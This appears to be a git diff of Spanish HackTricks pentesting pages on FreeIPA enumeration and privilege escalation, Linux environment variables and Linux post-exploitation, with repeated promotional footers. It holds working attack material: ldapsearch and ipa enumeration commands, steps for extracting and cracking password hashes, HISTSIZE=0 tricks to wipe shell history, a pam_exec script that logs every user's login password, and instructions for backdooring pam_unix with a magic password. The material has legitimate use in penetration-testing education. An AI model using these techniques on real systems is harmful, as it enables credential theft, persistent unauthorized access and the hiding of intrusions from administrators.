|
||||
{% endcontent-ref %}
|
||||
|
||||
## Enumeración
|
||||
|
||||
{% hint style="warning" %}
|
||||
Se puede realizar la **enumeración** a través de **ldap** y otras herramientas **binarias**, o **conectándose a la página web en el puerto 443 del servidor FreeIPA**.
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Hosts, Usuarios y Grupos <a href="#4b3b" id="4b3b"></a>
|
||||
|
||||
Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se clasifican en contenedores llamados "**Grupos de Hosts**" y "**Grupos de Usuarios**" respectivamente. Estos son similares a las **Unidades Organizativas** (OU).
|
||||
|
||||
Por defecto en FreeIPA, el servidor LDAP permite **enlaces anónimos**, y una gran cantidad de datos se pueden enumerar **sin autenticación**. Esto puede enumerar todos los datos disponibles sin autenticación:
|
||||
```
|
||||
ldapsearch -x
|
||||
```
|
||||
Para obtener **más información** necesitas usar una sesión **autenticada** (revisa la sección de Autenticación para aprender cómo preparar una sesión autenticada).
|
||||
```bash
|
||||
# Get all users of domain
|
||||
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
|
||||
|
||||
# Get users groups
|
||||
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local"
|
||||
|
||||
# Get all the hosts
|
||||
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
|
||||
|
||||
# Get hosts groups
|
||||
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
|
||||
```
|
||||
Desde una máquina unida al dominio, podrás utilizar **binarios instalados** para enumerar el dominio:
|
||||
```bash
|
||||
ipa user-find
|
||||
ipa usergroup-find
|
||||
ipa host-find
|
||||
ipa host-group-find
|
||||
|
||||
-------------------
|
||||
|
||||
ipa user-show <username> --all
|
||||
ipa usergroup-show <user group> --all
|
||||
ipa host-find <host> --all
|
||||
ipa hostgroup-show <host group> --all
|
||||
```
|
||||
{% hint style="info" %}
|
||||
El usuario **admin** de **FreeIPA** es equivalente a los **administradores de dominio** de **AD**.
|
||||
{% endhint %}
|
||||
|
||||
### Hashes <a href="#482b" id="482b"></a>
|
||||
|
||||
El usuario **root** del servidor **IPA** tiene acceso a los **hashes** de las contraseñas.
|
||||
|
||||
* El hash de la contraseña de un usuario se almacena en base64 en el atributo "**userPassword**". Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2\_SHA256**.
|
||||
* El **Nthash** de la contraseña se almacena en base64 en "**ipaNTHash**" si el sistema tiene integración con **AD**.
|
||||
|
||||
Para crackear estos hashes:
|
||||
|
||||
• Si FreeIPA está integrado con AD, **ipaNTHash** es fácil de crackear: debes **decodificar** **base64** -> volver a codificarlo como **ASCII** hex -> John The Ripper o **hashcat** pueden ayudarte a crackearlo rápidamente.
|
||||
|
||||
• Si se utiliza una versión antigua de FreeIPA, se utiliza **SSHA512**: debes decodificar **base64** -> encontrar el hash SSHA512 -> John The Ripper o **hashcat** pueden ayudarte a crackearlo.
|
||||
|
||||
• Si se utiliza una nueva versión de FreeIPA, se utiliza **PBKDF2\_SHA256**: debes decodificar **base64** -> encontrar PBKDF2\_SHA256 -> su longitud es de 256 bytes. John puede trabajar con 256 bits (32 bytes) -> se utiliza SHA-265 como función seudorandom, el tamaño de bloque es de 32 bytes -> solo puedes usar los primeros 256 bits de nuestro hash PBKDF2\_SHA256 -> John The Ripper o hashcat pueden ayudarte a crackearlo.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para extraer los hashes necesitas ser **root en el servidor FreeIPA**, allí puedes usar la herramienta **`dbscan`** para extraerlos:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Reglas HBAC <a href="#482b" id="482b"></a>
|
||||
|
||||
Estas son las reglas que otorgan permisos específicos a usuarios o hosts sobre recursos (hosts, servicios, grupos de servicios...).
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
|
||||
# Using ipa
|
||||
ipa hbacrule-find
|
||||
# Show info of rule
|
||||
ipa hbacrule-show <hbacrule> --all
|
||||
```
|
||||
#### Reglas de Sudo
|
||||
|
||||
FreeIPA proporciona la capacidad de **administrar permisos de sudo** desde una fuente **centralizada** a través de las reglas de sudo. Estos conjuntos de reglas se pueden utilizar para restringir o delegar la capacidad de **ejecutar comandos como sudo** en hosts inscritos en el dominio. Como atacante, podemos enumerar en qué hosts y usuarios se aplican estos conjuntos de reglas y qué comandos se permiten a través de las reglas.
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
# Using ipa
|
||||
ipa sudorule-find
|
||||
# Show info of rule
|
||||
ipa sudorule-show <sudorule> --all
|
||||
```
|
||||
### Control de Acceso Basado en Roles
|
||||
|
||||
Cada **rol** contiene un conjunto de **privilegios**, y esos respectivos privilegios contienen un **conjunto** de **permisos**. Los roles pueden ser **aplicados a Usuarios**, Grupos de Usuarios, **Hosts**, Grupos de Hosts y Servicios. Para ilustrar este concepto, discutamos el rol predeterminado de "Administrador de Usuarios" en FreeIPA.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como muestra la captura de pantalla anterior, el rol de "Administrador de Usuarios" contiene los siguientes privilegios:
|
||||
|
||||
* **Administradores de Usuarios**
|
||||
* **Administradores de Grupos**
|
||||
* **Administradores de Usuarios de Etapa**
|
||||
|
||||
Podemos profundizar aún más y enumerar los **permisos** delegados a cada **privilegio**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como podemos ver, el rol de "**Administrador de Usuarios**" contiene bastantes **permisos** dentro del entorno. Comprender el concepto general y la estructura de **roles**, **privilegios** y **permisos** puede ser crítico para identificar rutas de ataque en todo un entorno.
|
||||
```bash
|
||||
# Using ldap
|
||||
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
|
||||
# Using ipa binary
|
||||
ipa role-find
|
||||
ipa role-show <role> --all
|
||||
ipa privilege-find
|
||||
ipa privilege-show <privilege> --all
|
||||
ipa permission-find
|
||||
ipa permission-show <permission> --all
|
||||
```
|
||||
### Ejemplo de Escenario de Ataque
|
||||
|
||||
En [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) se puede encontrar un ejemplo simple de cómo abusar de algunos permisos para comprometer el dominio.
|
||||
|
||||
### Linikatz
|
||||
|
||||
[https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
|
||||
|
||||
## Escalada de Privilegios
|
||||
|
||||
### ~~Creación de usuario root~~
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si puedes **crear un nuevo usuario con el nombre `root`**, puedes hacerse pasar por él y podrás **SSH en cualquier máquina como root.**
|
||||
|
||||
**ESTO HA SIDO PARCHADO.**
|
||||
{% endhint %}
|
||||
|
||||
El privilegio "**Administradores de Usuarios**", es muy poderoso (como su nombre lo indica):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Con este privilegio viene mucho poder diferente para afectar a los usuarios dentro del entorno. Usando este privilegio podemos **crear un nuevo usuario dentro del dominio FreeIPA llamado \_root**.\_
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Una vez que el usuario es creado en el dominio podemos **obtener un ticket para la cuenta con \_kinit**\_.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ahora podemos intentar **SSH** usando nuestra nueva cuenta de dominio root.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como se muestra, esto **deja al usuario en la cuenta root local**. Así que simplemente creando un usuario de dominio para un usuario local pudimos autenticarnos usando la cuenta _root@WESTEROS.LOCAL_ y obtener el **contexto de usuario de la cuenta root local**_._
|
||||
|
||||
_Para obtener más detalles sobre esta vulnerabilidad, consulte_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
151
linux-hardening/linux-environment-variables.md
Normal file
151
linux-hardening/linux-environment-variables.md
Normal file
|
@ -0,0 +1,151 @@
|
|||
# Variables de entorno de Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Variables globales
|
||||
|
||||
Las variables globales **serán** heredadas por los **procesos hijos**.
|
||||
|
||||
Puedes crear una variable global para tu sesión actual haciendo:
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
Esta variable será accesible por las sesiones actuales y sus procesos hijos.
|
||||
|
||||
Puedes **eliminar** una variable haciendo:
|
||||
```bash
|
||||
unset MYGLOBAL
|
||||
```
|
||||
## Variables locales
|
||||
|
||||
Las **variables locales** solo pueden ser **accedidas** por la **shell/script actual**.
|
||||
```bash
|
||||
LOCAL="my local"
|
||||
echo $LOCAL
|
||||
unset LOCAL
|
||||
```
|
||||
## Listar las variables actuales
|
||||
```bash
|
||||
set
|
||||
env
|
||||
printenv
|
||||
cat /proc/$$/environ
|
||||
cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
||||
```
|
||||
## Variables de entorno persistentes
|
||||
|
||||
#### **Archivos que afectan el comportamiento de todos los usuarios:**
|
||||
|
||||
* _**/etc/bash.bashrc**_: Este archivo se lee cada vez que se inicia una shell interactiva (terminal normal) y todos los comandos especificados aquí se ejecutan.
|
||||
* _**/etc/profile y /etc/profile.d/\***_**:** Este archivo se lee cada vez que un usuario inicia sesión. Por lo tanto, todos los comandos ejecutados aquí se ejecutarán solo una vez en el momento del inicio de sesión del usuario.
|
||||
* \*\*Ejemplo: \*\*
|
||||
|
||||
`/etc/profile.d/somescript.sh`
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
TEST=$(cat /var/somefile)
|
||||
export $TEST
|
||||
```
|
||||
|
||||
#### **Archivos que afectan el comportamiento de un usuario específico:**
|
||||
|
||||
* _**\~/.bashrc**_: Este archivo funciona de la misma manera que el archivo _/etc/bash.bashrc_, pero se ejecuta solo para un usuario específico. Si desea crear un entorno para usted, modifique o cree este archivo en su directorio de inicio.
|
||||
* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** Estos archivos son iguales a _/etc/profile_. La diferencia radica en la forma en que se ejecuta. Este archivo se ejecuta solo cuando un usuario en cuyo directorio de inicio existe este archivo inicia sesión.
|
||||
|
||||
**Extraído de:** [**aquí**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **y** [**aquí**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html)
|
||||
|
||||
## Variables comunes
|
||||
|
||||
De: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – la pantalla utilizada por **X**. Esta variable suele establecerse en **:0.0**, lo que significa la primera pantalla en la computadora actual.
|
||||
* **EDITOR** – el editor de texto preferido del usuario.
|
||||
* **HISTFILESIZE** – el número máximo de líneas contenidas en el archivo de historial.
|
||||
* \*\*HISTSIZE - \*\*Número de líneas agregadas al archivo de historial cuando el usuario finaliza su sesión.
|
||||
* **HOME** – su directorio de inicio.
|
||||
* **HOSTNAME** – el nombre de host de la computadora.
|
||||
* **LANG** – su idioma actual.
|
||||
* **MAIL** – la ubicación del buzón de correo del usuario. Por lo general, **/var/spool/mail/USER**.
|
||||
* **MANPATH** – la lista de directorios para buscar páginas del manual.
|
||||
* **OSTYPE** – el tipo de sistema operativo.
|
||||
* **PS1** – el indicador predeterminado en bash.
|
||||
* \*\*PATH - \*\*almacena la ruta de todos los directorios que contienen archivos binarios que desea ejecutar solo especificando el nombre del archivo y no por ruta relativa o absoluta.
|
||||
* **PWD** – el directorio de trabajo actual.
|
||||
* **SHELL** – la ruta a la shell de comando actual (por ejemplo, **/bin/bash**).
|
||||
* **TERM** – el tipo de terminal actual (por ejemplo, **xterm**).
|
||||
* **TZ** – su zona horaria.
|
||||
* **USER** – su nombre de usuario actual.
|
||||
|
||||
## Variables interesantes para hacking
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
Cambie el **valor de esta variable a 0**, para que cuando **finalice su sesión**, el **archivo de historial** (\~/.bash\_history) **se elimine**.
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
Cambia el **valor de esta variable a 0**, de esta manera cuando **finalices tu sesión** cualquier comando no será añadido al **archivo de historial** (\~/.bash\_history).
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
Los procesos utilizarán el **proxy** declarado aquí para conectarse a internet a través de **http o https**.
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
```
|
||||
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
|
||||
|
||||
Los procesos confiarán en los certificados indicados en **estas variables de entorno**.
|
||||
```bash
|
||||
export SSL_CERT_FILE=/path/to/ca-bundle.pem
|
||||
export SSL_CERT_DIR=/path/to/ca-certificates
|
||||
```
|
||||
### PS1
|
||||
|
||||
Cambia cómo se ve tu prompt.
|
||||
|
||||
He creado [**este**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (basado en otro, lee el código).
|
||||
|
||||
Root:
|
||||
|
||||
![](<../.gitbook/assets/image (87).png>)
|
||||
|
||||
Usuario regular:
|
||||
|
||||
![](<../.gitbook/assets/image (88).png>)
|
||||
|
||||
Uno, dos y tres trabajos en segundo plano:
|
||||
|
||||
![](<../.gitbook/assets/image (89).png>)
|
||||
|
||||
Un trabajo en segundo plano, uno detenido y el último comando no finalizó correctamente:
|
||||
|
||||
![](<../.gitbook/assets/image (90).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
123
linux-hardening/linux-post-exploitation/README.md
Normal file
123
linux-hardening/linux-post-exploitation/README.md
Normal file
|
@ -0,0 +1,123 @@
|
|||
# Post-Explotación de Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Sniffing de contraseñas de inicio de sesión con PAM
|
||||
|
||||
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta:
|
||||
|
||||
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Primero, creamos un script de bash que se invocará cada vez que se produzca una nueva autenticación.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
```
|
||||
Las variables son específicas de PAM y estarán disponibles a través del módulo `pam_exec.so`.
|
||||
|
||||
Aquí está el significado de las variables:
|
||||
|
||||
* **$PAM\_USER:** El nombre de usuario que se ingresó.
|
||||
* **$PAM\_RHOST:** El host remoto (típicamente la dirección IP)
|
||||
* **$(cat -):** Esto lee `stdin`, y contendrá la contraseña que el script obtiene
|
||||
* Los resultados se envían a un archivo de registro en `/var/log/toomanysecrets.log`
|
||||
|
||||
Para **evitar que todos los usuarios lean** el archivo, considere pre-crear el archivo y ejecutar `chmod`, por ejemplo:
|
||||
```bash
|
||||
sudo touch /var/log/toomanysecrets.sh
|
||||
sudo chmod 770 /var/log/toomanysecrets.sh
|
||||
```
|
||||
A continuación, se debe actualizar el archivo de configuración de PAM para que el módulo `pam_exec` invoque el script.
|
||||
|
||||
Existen varios archivos de configuración ubicados en `/etc/pam.d/`, y elegimos `common-auth`.
|
||||
```
|
||||
sudo nano /etc/pam.d/common-auth
|
||||
```
|
||||
En la parte inferior del archivo, agregue el siguiente módulo de autenticación:
|
||||
|
||||
`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
Los opciones tienen el siguiente significado:
|
||||
|
||||
* **optional:** La autenticación no debe fallar si hay un error (no es un paso obligatorio)
|
||||
* **pam\_exec.so:** Este es el módulo PAM que puede invocar scripts arbitrarios
|
||||
* **expose\_authtok:** Este es el truco que permite leer la contraseña a través de `stdin`
|
||||
* **quiet:** No mostrar errores al usuario (si algo no funciona)
|
||||
* El último argumento es el script de shell que se creó anteriormente
|
||||
|
||||
![](<../../.gitbook/assets/image (375).png>)
|
||||
|
||||
Finalmente, haga que el archivo sea ejecutable:
|
||||
|
||||
`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
Ahora, probemos esto y ssh desde otra máquina o inicie sesión localmente.
|
||||
|
||||
Y luego mire el archivo de registro:
|
||||
```
|
||||
$ sudo cat /var/log/toomanysecrets.log
|
||||
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||||
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
Vamos a las fuentes de PAM (depende de tu distribución, toma el mismo número de versión que la tuya...) y busca alrededor de las líneas 170/180 en el archivo pam\_unix\_auth.c:
|
||||
```
|
||||
vi modules/pam_unix/pam_unix_auth.c
|
||||
```
|
||||
![](<../../.gitbook/assets/image (651).png>)
|
||||
|
||||
Cambiemos esto por:
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (2) (2).png>)
|
||||
|
||||
Esto permitirá que cualquier usuario que use la **contraseña "0xMitsurugi"** pueda iniciar sesión.
|
||||
|
||||
Recompila el archivo `pam_unix_auth.c` y reemplaza el archivo pam\_unix.so:
|
||||
```bash
|
||||
make
|
||||
sudo cp \
|
||||
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
|
||||
/lib/x86_64-linux-gnu/security/
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
{% endhint %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
|
||||
* [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,67 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
PAM es una colección de módulos que esencialmente forman una barrera entre un servicio en tu sistema y el usuario del servicio. Los módulos pueden tener propósitos muy variados, desde prohibir el inicio de sesión a usuarios de un grupo UNIX en particular \(o netgroup, o subnet…\), hasta implementar límites de recursos para que tu grupo de "investigación" no pueda acaparar los recursos del sistema.
|
||||
|
||||
# Archivos de configuración
|
||||
|
||||
